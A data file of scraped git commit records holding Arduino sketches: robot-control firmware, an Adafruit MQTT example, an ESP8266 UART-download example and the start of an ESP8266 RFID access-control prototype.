lastDebounceTime[digitalReadPin[i]] = millis();\n\t\t\t}\n\n\t\t\t\/\/ set the last input value of this pin\n\t\t\tlastDigitalInputValue[digitalReadPin[i]] = readValue;\n\t\t}\n\n\n\t\t\/\/ analog polling read - send data for pins which are currently in INPUT mode only AND whose state has changed\n\t\tfor (int i = 0; i < analogReadPollingPinCount; ++i)\n\t\t{\n\t\t\t\/\/ read the pin\n\t\t\treadValue = analogRead(analogReadPin[i]);\n\n\t\t\t\/\/ if my value is different from last time - send it\n\t\t\tif (lastAnalogInputValue[analogReadPin[i]] != readValue || !analogTriggerOnly) \/\/TODO - SEND_DELTA_MIN_DIFF\n\t\t\t{\n\t\t\t\t\/\/sendMsg(4, ANALOG_VALUE, analogReadPin[i], readValue >> 8, readValue & 0xFF);\n\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(4); \/\/size\n\t\t\t\tSerial.write(PUBLISH_PIN);\n\t\t\t\tSerial.write(analogReadPin[i]);\n\t\t\t\tSerial.write(readValue >> 8); \/\/ MSB\n\t\t\t\tSerial.write(readValue & 0xFF);\t\/\/ LSB\n\n\t }\n\t\t\t\/\/ set the last input value of this pin\n\t\t\tlastAnalogInputValue[analogReadPin[i]] = readValue;\n\t\t}\n\t}\n\n\t\/\/ update moving servos - send events if required\n\tfor (int i = 0; i < MAX_SERVOS; ++i)\n\t{\n\t\tservo_type& s = servos[i];\n\t\tif (s.isMoving && s.servo != 0){\n\t\t\tif (s.currentPos != s.targetPos)\n\t\t\t{\n\t\t\t\t\/\/ caclulate the appropriate modulus to drive\n\t\t\t\t\/\/ the servo to the next position\n\t\t\t\t\/\/ TODO - check for speed > 0 && speed < 100 - send ERROR back?\n\t\t\t\tint speedModulus = (100 - s.speed) * 10;\n\t\t\t\tif (loopCount % speedModulus == 0)\n\t\t\t\t{\n\t\t\t\t\tint increment = s.step * ((s.currentPos < s.targetPos)?1:-1);\n\t\t\t\t\t\/\/ move the servo an increment\n\t\t\t\t\ts.currentPos = s.currentPos + increment;\n\t\t\t\t\ts.servo->write(s.currentPos);\n\t\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_POSITION_UPDATE);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (s.isSweeping) {\n\t\t\t\t\tif (s.targetPos == s.min){\n\t\t\t\t\t\ts.targetPos = s.max;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ts.targetPos = s.min;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_STOPPED);\n\t\t\t\t\ts.isMoving = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tunsigned long ts;\n\n\tfor (int i = 0; i < SENSORS_MAX; ++i) {\n\t\tsensor_type& sensor = sensors[i];\n\t\tif (sensor.isRunning == true){\n\t\t\tif (sensor.type == SENSOR_ULTRASONIC){\n\n\t\t\t\t\/\/ we are running & have an ultrasonic (ping) sensor\n\t\t\t\t\/\/ check to see what state we are in\n\n\t\t\t\tif (sensor.state == ECHO_STATE_START){\n\t\t\t\t\t\/\/ trigPin prepare - start low for an\n\t\t\t\t\t\/\/ upcoming high pulse\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\t\t\t\/\/ put the echopin into a high state\n\t\t\t\t\t\/\/ is this necessary ???\n\t\t\t\t\tpinMode(sensor.echoPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.echoPin, HIGH);\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 2){\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TRIG_PULSE_BEGIN;\n\t\t\t\t\t}\n\t\t\t\t} else if (sensor.state == ECHO_STATE_TRIG_PULSE_BEGIN){\n\n\t\t\t\t\t\/\/ begin high pulse for at least 10 us\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, HIGH);\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 10){\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TRIG_PULSE_END;\n\t\t\t\t\t}\n\t\t\t\t} else if (sensor.state == ECHO_STATE_TRIG_PULSE_END){\n\t\t\t\t\t\/\/ end of pulse\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\t\t\tsensor.state = ECHO_STATE_MIN_PAUSE_PRE_LISTENING;\n\t\t\t\t\tsensor.ts = micros();\n\t\t\t\t} else if (sensor.state == ECHO_STATE_MIN_PAUSE_PRE_LISTENING){\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 1500){\n\t\t\t\t\t\tsensor.ts = ts;\n\n\t\t\t\t\t\t\/\/ putting echo pin into listen mode\n\t\t\t\t\t\tpinMode(sensor.echoPin, OUTPUT);\n\t\t\t\t\t\tdigitalWrite(sensor.echoPin, HIGH);\n\t\t\t\t\t\tpinMode(sensor.echoPin, INPUT);\n\n\t\t\t\t\t\tsensor.state = ECHO_STATE_LISTENING;\n\t\t\t\t\t}\n\n\t\t\t\t} else if (sensor.state == ECHO_STATE_LISTENING) {\n\t\t\t\t\t\/\/ timeout or change states..\n\t\t\t\t\tint value = digitalRead(sensor.echoPin);\n\t\t\t\t\tts = micros();\n\n\t\t\t\t\tif (value == LOW) {\n\t\t\t\t\t\tsensor.lastValue = ts - sensor.ts;\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_GOOD_RANGE;\n\t\t\t\t\t} else if (ts - sensor.ts > sensor.timeoutUS) {\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TIMEOUT;\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.lastValue = 0;\n\t\t\t\t\t}\n\n\t\t\t\t} else if (sensor.state == ECHO_STATE_GOOD_RANGE || sensor.state == ECHO_STATE_TIMEOUT) {\n\t\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\t\tSerial.write(6); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\t\t\t\tSerial.write(PUBLISH_SESOR_DATA);\n\t\t\t\t\tSerial.write(i);\n\t\t \/\/ write the long value out\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 24));\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 16));\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 8));\n\t\t\t\t\tSerial.write((byte) sensor.lastValue & 0xFF);\n\t\t\t\t\tsensor.state = ECHO_STATE_START;\n\t\t\t\t} \/\/ end else if\n\n\t\t\t} \/\/ if (sensor.type == SENSOR_ULTRASONIC)\n\n\t\t} \/\/ end isRunning\n\n\t} \/\/ end for each sensor\n\n\t\/\/ TODO - brake - speed - fractional stepping - other stepper types\n\tfor (int i = 0; i < STEPPERS_MAX; ++i) {\n\t\tstepper_type& stepper = steppers[i];\n\t\tif (stepper.isRunning == true){\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU){\n\n\t\t\t\t\/\/ direction is already set in initial STEPPER_MOVE\n\n\t\t\t\tif (stepper.currentPos < stepper.targetPos) {\n\n\t\t\t\t \/\/ step - POLOLU has single step pin (dir is on step0)\n\t\t\t\t\tdigitalWrite(stepper.step1, 1);\n\t\t\t\t\tdelayMicroseconds(1); \/\/ :P should require another state? loop is ~106us min ?\n\t\t\t\t\tdigitalWrite(stepper.step1, 0);\n\n\t\t\t\t\tstepper.currentPos++;\n\t\t\t\t} else if (stepper.currentPos > stepper.targetPos) {\n\n\t\t\t\t \/\/ step - POLOLU has single step pin (dir is on step0)\n\t\t\t\t\tdigitalWrite(stepper.step1, 1);\n\t\t\t\t\tdelayMicroseconds(1); \/\/ :P should require another state? loop is ~106us min ?\n\t\t\t\t\tdigitalWrite(stepper.step1, 0);\n\n\t\t\t\t\tstepper.currentPos--;\n\n\t\t\t\t} else {\n\t\t\t\t\tstepper.isRunning = false;\n\t\t\t\t\tstepper.currentPos = stepper.targetPos; \/\/ forcing ? :P\n\t\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\t\tSerial.write(5); \/\/ size = 1 FN + 1 eventType + 1 index + 1 curPos\n\t\t\t\t\tSerial.write(PUBLISH_STEPPER_EVENT);\n\t\t\t\t\tSerial.write(STEPPER_EVENT_STOP);\n\t\t\t\t\tSerial.write(stepper.index); \/\/ send my index\n\t\t\t\t\tSerial.write(stepper.currentPos >> 8); \/\/ MSB\n\t\t\t\t\tSerial.write(stepper.currentPos & 0xFF);\t\/\/ LSB\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\tunsigned long now = micros();\n\tloadTime = now - lastMicros; \/\/ avg outside\n \tlastMicros = now;\n\n\t\/\/ report load time\n\tif (loadTimingEnabled && (loopCount%loadTimingModulus == 0)) {\n\n \t\t\/\/ send it\n\t\tSerial.write(MAGIC_NUMBER);\n\t\tSerial.write(5); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\tSerial.write(PUBLISH_LOAD_TIMING_EVENT);\n \/\/ write the long value out\n\t\tSerial.write((byte)(loadTime >> 24));\n\t\tSerial.write((byte)(loadTime >> 16));\n\t\tSerial.write((byte)(loadTime >> 8));\n\t\tSerial.write((byte) loadTime & 0xFF);\n\t}\n\n\n} \/\/ end of big loop\n\nunsigned long getUltrasonicRange(sensor_type& sensor){\n\n\t\t\/\/ added for sensors which have single pin !\n\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\tdigitalWrite(sensor.trigPin, LOW);\n\t\tdelayMicroseconds(2);\n\n\t\tdigitalWrite(sensor.trigPin, HIGH);\n\t\tdelayMicroseconds(10);\n\n\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\/\/ added for sensors which have single pin !\n\t\tpinMode(sensor.echoPin, INPUT);\n\t\t\/\/ CHECKING return pulseIn(sensor.echoPin, HIGH, sensor.timeoutUS);\n\t\t\/\/ TODO - adaptive timeout ? - start big - pull in until valid value - push out if range is coming close\n\t\treturn pulseIn(sensor.echoPin, HIGH);\n}\n\nvoid sendServoEvent(servo_type& s, int eventType){\n \t\/\/ check type of event - STOP vs CURRENT POS\n\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(5); \/\/ size = 1 FN + 1 INDEX + 1 eventType + 1 curPos\n\tSerial.write(PUBLISH_SERVO_EVENT);\n\tSerial.write(s.index); \/\/ send my index\n\t\/\/ write the long value out\n\tSerial.write(eventType);\n\tSerial.write(s.currentPos);\n\tSerial.write(s.targetPos);\n}\n\nvoid sendError(int type){\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(2); \/\/ size = 1 FN + 1 TYPE\n\tSerial.write(PUBLISH_MRLCOMM_ERROR);\n\tSerial.write(type);\n}\n\n\/* SEEMED LIKE A GOOD IDEA NOT !!!!\nvoid sendMsg ( int num, ... )\n{\n\tva_list arguments;\n\t\/\/ Initializing arguments to store all values after num\n\tva_start ( arguments, num );\n\n\t\/\/ write header\n\tmsgBuf[0] = MAGIC_NUMBER;\n\tmsgBuf[1] = num;\n\n\t\/\/ copies msg payload to buffer after header\n\tfor ( int x = 2; x < num+2; x++ )\n\t{\n\t\tmsgBuf[x] = (byte) va_arg ( arguments, int );\n\t}\n\tva_end ( arguments ); \/\/ Cleans up the list\n\tSerial.write(msgBuf, num + 2);\n\treturn;\n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/resource\/Arduino\/MRLComm2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fd9cfda563504b2caa2e24c3b4337fc4a52b7023","subject":"Added arbitrary buffer example","message":"Added arbitrary buffer example\n","repos":"adafruit\/Adafruit_MQTT_Library","old_file":"examples\/mqtt_arbitrary_buffer\/mqtt_arbitrary_buffer.ino","new_file":"examples\/mqtt_arbitrary_buffer\/mqtt_arbitrary_buffer.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library ESP8266 Example\n\n Must use ESP8266 Arduino from:\n https:\/\/github.com\/esp8266\/Arduino\n\n Works great with Adafruit's Huzzah ESP board & Feather\n ----> https:\/\/www.adafruit.com\/product\/2471\n ----> https:\/\/www.adafruit.com\/products\/2821\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Tony DiCola for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <ESP8266WiFi.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\"\n#define WLAN_PASS \"...your password...\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883 \/\/ use 8883 for SSL\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClient client;\n\/\/ or... use WiFiFlientSecure for SSL\n\/\/WiFiClientSecure client;\n\n\/\/ Store the MQTT server, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, MQTT_SERVER, AIO_SERVERPORT, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'photocell' for publishing.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char PHOTOCELL_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/photocell\";\nAdafruit_MQTT_Publish photocell = Adafruit_MQTT_Publish(&mqtt, PHOTOCELL_FEED);\n\n\/\/ Setup a feed called 'onoff' for subscribing to changes.\nconst char ONOFF_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/onoff\";\nAdafruit_MQTT_Subscribe onoffbutton = Adafruit_MQTT_Subscribe(&mqtt, ONOFF_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\n\/\/ Bug workaround for Arduino 1.6.6, it seems to need a function declaration\n\/\/ for some reason (only affects ESP8266, likely an arduino-builder bug).\nvoid MQTT_connect();\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n Serial.println(F(\"Adafruit MQTT demo\"));\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n Serial.print(F(\"Connecting to \"));\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(F(\".\"));\n }\n Serial.println();\n\n Serial.println(F(\"WiFi connected\"));\n Serial.println(F(\"IP address: \")); Serial.println(WiFi.localIP());\n\n \/\/ Setup MQTT subscription for onoff feed.\n mqtt.subscribe(&onoffbutton);\n}\n\nuint32_t x=0;\n\nvoid loop() {\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n \/\/ try to spend your time here\n\n Adafruit_MQTT_Subscribe *subscription;\n while ((subscription = mqtt.readSubscription(5000))) {\n if (subscription == &onoffbutton) {\n Serial.println(F(\"Got: \"));\n Serial.println((char *)onoffbutton.lastread);\n }\n }\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending photocell val \"));\n Serial.print(x);\n Serial.print(F(\"...\"));\n if (! photocell.publish(x++)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n\n \/\/ ping the server to keep the mqtt connection alive\n \/\/ NOT required if you are publishing once every KEEPALIVE seconds\n \/*\n if(! mqtt.ping()) {\n mqtt.disconnect();\n }\n *\/\n}\n\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(F(\"Connecting to MQTT... \"));\n\n uint8_t retries = 3;\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(F(\"Retrying MQTT connection in 5 seconds...\"));\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n retries--;\n if (retries == 0) {\n \/\/ basically die and wait for WDT to reset me\n while (1);\n }\n }\n Serial.println(F(\"MQTT Connected!\"));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mqtt_arbitrary_buffer\/mqtt_arbitrary_buffer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f4f356e69b994f65cecc6e127fc52169595b8fb","subject":"Clears all faults on DDEC13 with CPC ACM and MCM","message":"Clears all faults on DDEC13 with CPC ACM and MCM\n","repos":"SynerconTechnologies\/SmartSensorSimulator,SynerconTechnologies\/SmartSensorSimulator","old_file":"Arduino Sketch Library\/SSS_DDEC13_Rev4_Daughter\/SSS_DDEC13_Rev4_Daughter.ino","new_file":"Arduino Sketch Library\/SSS_DDEC13_Rev4_Daughter\/SSS_DDEC13_Rev4_Daughter.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SynerconTechnologies\/SmartSensorSimulator.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9d82ebe6f7f0738405a47f9a3c8c882918c9bfc1","subject":"Add example for using ESP.rebootIntoUartDownloadMode() (#7897)","message":"Add example for using ESP.rebootIntoUartDownloadMode() (#7897)\n\n","repos":"esp8266\/Arduino,esp8266\/Arduino,sticilface\/Arduino,esp8266\/Arduino,sticilface\/Arduino,sticilface\/Arduino,esp8266\/Arduino,esp8266\/Arduino,sticilface\/Arduino,sticilface\/Arduino","old_file":"libraries\/esp8266\/examples\/UartDownload\/UartDownload.ino","new_file":"libraries\/esp8266\/examples\/UartDownload\/UartDownload.ino","new_contents":"\/*\n\n Example of Booting into UART Download using `ESP.rebootIntoUartDownloadMode()`\n\n Two methods are presented for starting UART Boot Mode.\n 1) From `loop()` call the function `proxyEspSync()`, which peeks for a SLIP\n frame marker. Then when present, look for an esptool ESP_SYNC packet on\n the Serial port.\n 2) A simple hotkey of 'D'.\n\n After either of these, `ESP.rebootIntoUartDownloadMode()` is called to place\n the ESP8266 into UART Flash program mode.\n\n For a quick test to confirm the ESP8266 is responding to esptool.py,\n use this command:\n esptool.py --chip esp8266 --before no_reset --after soft_reset flash_id\n\n\n Note with these methods a hard reset is not done, and the esptool.py may not\n detect and report the correct Crystal frequency for the ESP Module. If you\n need that info, it needs to be gathered after a Power-On or Hard Reset.\n*\/\n\n#include <Arduino.h>\n#include <ESP8266WiFi.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Check Serial Receive for ESP_SYNC slip packet from esptool.py\n\/\/\n\/\/ If you are already using Serial input for command input, the character '\\xC0'\n\/\/ is not available. We must reserve its use for the SLIP Frame Marker. I am not\n\/\/ sure which languages if any, would pose a problem. For the non-English\n\/\/ languages check your character set values to be sure it is not an issue. If\n\/\/ it is an issue, you will not be able to use this method as presented. The\n\/\/ '\\xC0' character is defined by the SLIP protocol and cannot be changed.\n\n\/\/ If your needs require it, you can add logic to loop() for setting and\n\/\/ clearing uartDownloadEnable. For example, you could add a push button to a\n\/\/ GPIO pin and monitor for a 5-second press. Then, set uartDownloadEnable to\n\/\/ true. In addition to that, you could also define a time-to-live for that\n\/\/ state and clear it after it elapses.\n\/\/\n\/\/ Change this to false if you do not want ESP_SYNC monitor always on.\nbool uartDownloadEnable = true;\n\n\/\/ Buffer size to receive an ESP_SYNC packet into, larger than the expected\n\/\/ ESP_SYNC packet length.\nconstexpr size_t pktBufSz = 64;\n\n\/\/ Enough time to receive 115 bytes at 115200bps.\n\/\/ More than enough to finish receiving an ESP_SYNC packet.\nconstexpr size_t kSyncTimeoutMs = 10;\n\n\/\/ The SLIP Frame end character, which is also used to start a frame.\nconstexpr char slipFrameMarker = '\\xC0';\n\n\/\/ General packet format:\n\/\/ <0xC0><cmd><payload length><32 bit cksum><payload data ...><0xC0>\n\/\/ Slip packet for ESP_SYNC, minus the frame markers ('\\xC0') captured from\n\/\/ esptool using the `--trace` option.\nconst char syncPkt[] PROGMEM =\n \"\\x00\\x08\\x24\\x00\\x00\\x00\\x00\\x00\\x07\\x07\\x12\\x20\"\n \"UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\";\n\nconstexpr size_t syncPktSz = sizeof(syncPkt) - 1; \/\/ Don't compare zero terminator char\n\n\/\/\n\/\/ Use the discovery of an ESP_SYNC packet, to trigger calling UART Download\n\/\/ Mode. At entry we expect the Serial FIFO to start with the byte following\n\/\/ the slipFrameMarker.\n\/\/\nvoid proxyEspSync() {\n if (!uartDownloadEnable) {\n return;\n }\n\n byte buf[pktBufSz];\n\n \/\/ If it is an ESP_SYNC packet, it will not take long for readBytesUntil() to\n \/\/ complete.\n Serial.setTimeout(kSyncTimeoutMs);\n int len = Serial.readBytesUntil(slipFrameMarker, buf, pktBufSz);\n\n \/\/ To avoid a false trigger, only start UART Download Mode when we get an\n \/\/ exact match to the captured esptool ESP_SYNC packet.\n if (syncPktSz == len && 0 == memcmp_P(buf, syncPkt, len)) {\n ESP.rebootIntoUartDownloadMode();\n \/\/ Does not return\n }\n\n \/\/ Assume RX FIFO data is garbled and flush all RX data.\n while (0 <= Serial.read()) {} \/\/ Clear FIFO\n\n \/\/ If your Serial requirements need a specific timeout value, you would\n \/\/ restore those here.\n}\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid preinit() {\n \/\/ (no C++ in function)\n \/\/ disable wifi\n ESP8266WiFiClass::preinitWiFiOff();\n}\n\nvoid setup() {\n \/\/ For `proxyEspSync()` to work, the Serial.begin() speed needs to be\n \/\/ 115200bps. This is the data rate used by esptool.py. It expects the Boot\n \/\/ ROM to use its \"auto-baud\" feature to match up. Since `proxyEspSync()` is\n \/\/ acting as a proxy we must use 115200.\n \/\/\n \/\/ If on the Arduino IDE Tools menu you use \"Upload Speeds\" above 115200, it\n \/\/ will work. When esptool.py is run with the `--baud BAUD` option specified\n \/\/ above 115200, initial communication with the ESP8266 is done at 115200bps.\n \/\/ Once esptool.py has synchronize with the ESP8266 and downloaded a short\n \/\/ stub, then both devices shift their UART speeds to the command line value.\n Serial.begin(115200);\n\n Serial.println(F(\n \"\\r\\n\\r\\n\"\n \"Boot UART Download Demo - initialization started.\\r\\n\"\n \"\\r\\n\"\n \"For a quick test to see the UART Download work,\\r\\n\"\n \"stop your serial terminal APP and run:\\r\\n\"\n \" esptool.py --chip esp8266 --before no_reset --after soft_reset flash_id\\r\\n\"));\n\n \/\/ ...\n}\n\nvoid cmdLoop(Print& oStream, int key) {\n switch (key) {\n case 'e':\n oStream.println(F(\"Enable monitor for detecting ESP_SYNC from esptool.py\"));\n uartDownloadEnable = true;\n break;\n\n case 'D':\n \/\/ This option would be prone to false triggering. It is here for DEMO\n \/\/ purposes and debugging.\n oStream.println(F(\"Boot into UART download mode ...\"));\n oStream.flush();\n ESP.rebootIntoUartDownloadMode();\n break;\n\n case 'R':\n oStream.println(F(\"Restart ...\"));\n oStream.flush();\n ESP.restart();\n break;\n\n \/\/ ...\n\n case '?':\n oStream.println(F(\"\\r\\nHot key help:\"));\n if (!uartDownloadEnable) {\n oStream.println(F(\" e - Enable monitor for detecting ESP_SYNC from esptool.py\"));\n }\n oStream.println(F(\" D - Boot into UART download mode\"));\n oStream.println(F(\" R - Restart\"));\n oStream.println(F(\" ? - This help message\\r\\n\"));\n break;\n\n default:\n break;\n }\n\n oStream.println();\n}\n\n\nvoid loop() {\n\n \/\/ In this example, we can have Serial data from a user keystroke for our\n \/\/ command loop or the esptool trying to SYNC up for flashing. If the\n \/\/ character matches the Slip Frame Marker (the 1st byte of the SYNC packet),\n \/\/ we intercept it and call our ESP_SYNC proxy to complete the verification\n \/\/ and reboot into the UART Downloader. Otherwise, process the keystroke as\n \/\/ normal.\n if (0 < Serial.available()) {\n int keyPress = Serial.read();\n if (slipFrameMarker == keyPress) {\n proxyEspSync();\n } else {\n cmdLoop(Serial, keyPress);\n }\n }\n\n \/\/ ...\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/esp8266\/examples\/UartDownload\/UartDownload.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"734e466a2c7220b8bc55e82221cd29f78899a073","subject":"Proof of concept, work in progress.","message":"Proof of concept, work in progress.","repos":"omersiar\/esp-rfid,omersiar\/esp-rfid,omersiar\/esp-rfid,omersiar\/esp-rfid","old_file":"esprfid2.ino","new_file":"esprfid2.ino","new_contents":"\n\n\/*\n Typical pin layout used:\n ------------------------------------\n MFRC522\n Reader\/PCD ESP8266\/\n Signal Pin Nodemcu\n ------------------------------------\n RST\/Reset RST GPIO5\/D1\n SPI SS SDA(SS) GPIO4\/D2\n SPI MOSI MOSI GPIO13\/D7\n SPI MISO MISO GPIO12\/D6\n SPI SCK SCK GPIO14\/D5\n*\/\n\n#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <ArduinoOTA.h>\n#include <SPI.h> \/\/ RC522 Module uses SPI protocol\n#include <MFRC522.h> \/\/ Library for Mifare RC522 Devices\n#include <WiFiUdp.h>\n#include <NTPClient.h>\n\/\/#include \"AsyncJson.h\"\n#include <ArduinoJson.h>\n#include <FS.h>\n#include <Hash.h>\n#include <ESPAsyncTCP.h>\n#include <ESPAsyncWebServer.h>\n#include <SPIFFSEditor.h>\n\n#define DBG_OUTPUT_PORT Serial\n\n\/\/ RC522 Device Pins\n#define SS_PIN D8 \/\/Pin on WeMos D1 Mini\n#define RST_PIN D3 \/\/Pin on WeMos D1 Mini\n\n#define NTP_OFFSET 60 * 60 \/\/ In seconds\n#define NTP_INTERVAL 60 * 1000 \/\/ In miliseconds\n#define NTP_ADDRESS \"europe.pool.ntp.org\"\n\n\n\n\nconst char* ssid = \"ESP-RFID\";\nconst char* password = \"33355555\";\nconst char* conssid = \"SMC\";\nconst char* conpassword = \"333555555\";\nconst char* hostName = \"esp-rfid\";\nconst char* http_username = \"admin\";\nconst char* http_password = \"admin\";\n\nchar uidchar[14]; \/\/ Stores variable filename\n\nchar dir[] = \"\/PICCS\/\";\n\nint isKnown = 0;\n\n\nWiFiUDP ntpUDP;\nNTPClient timeClient(ntpUDP, NTP_ADDRESS, NTP_OFFSET, NTP_INTERVAL);\nMFRC522 mfrc522(SS_PIN, RST_PIN);\n\n\/\/ SKETCH BEGIN\nAsyncWebServer server(80);\nAsyncWebSocket ws(\"\/ws\");\n\n\n\n\n\n\n\nvoid setup() {\n delay(1000);\n Serial.begin(115200);\n Serial.println();\n\n Serial.println(F(\"ESP RFID AccessControl v0.1\"));\n \/\/ First connect wi-fi network\n WiFi.begin(conssid, conpassword);\n\n Serial.print(\"Connecting\");\n unsigned long now = millis();\n while (millis() - now < 15000) {\n if (WiFi.status() == WL_CONNECTED) {\n break;\n }\n else if (!WiFi.status() == WL_CONNECTED) {\n Serial.println(\"Couldn't connect in given time, falling back to AP Mode\");\n }\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n Serial.print(\"Client IP address: \");\n Serial.println(WiFi.localIP());\n\n\n\n SPI.begin(); \/\/ MFRC522 Hardware uses SPI protocol\n mfrc522.PCD_Init(); \/\/ Initialize MFRC522 Hardware\n mfrc522.PCD_DumpVersionToSerial(); \/\/ Show details of PCD - MFRC522 Card Reader details\n\n \/\/If you set Antenna Gain to Max it will increase reading distance\n \/\/mfrc522.PCD_SetAntennaGain(mfrc522.RxGain_max);\n\n Serial.print(\"Configuring access point ...\");\n Serial.println(WiFi.softAP(ssid, password) ? \"Ready\" : \"Failed!\");\n\n \/\/ Web-Server\n IPAddress myIP = WiFi.softAPIP();\n Serial.print(\"AP IP address: \");\n Serial.println(myIP);\n\n if (MDNS.begin (hostName)) {\n Serial.println ( \"MDNS responder started\" );\n }\n MDNS.addService(\"http\", \"tcp\", 80);\n timeClient.begin();\n SPIFFS.begin();\n\n ArduinoOTA.setHostname(hostName);\n ArduinoOTA.begin();\n\n 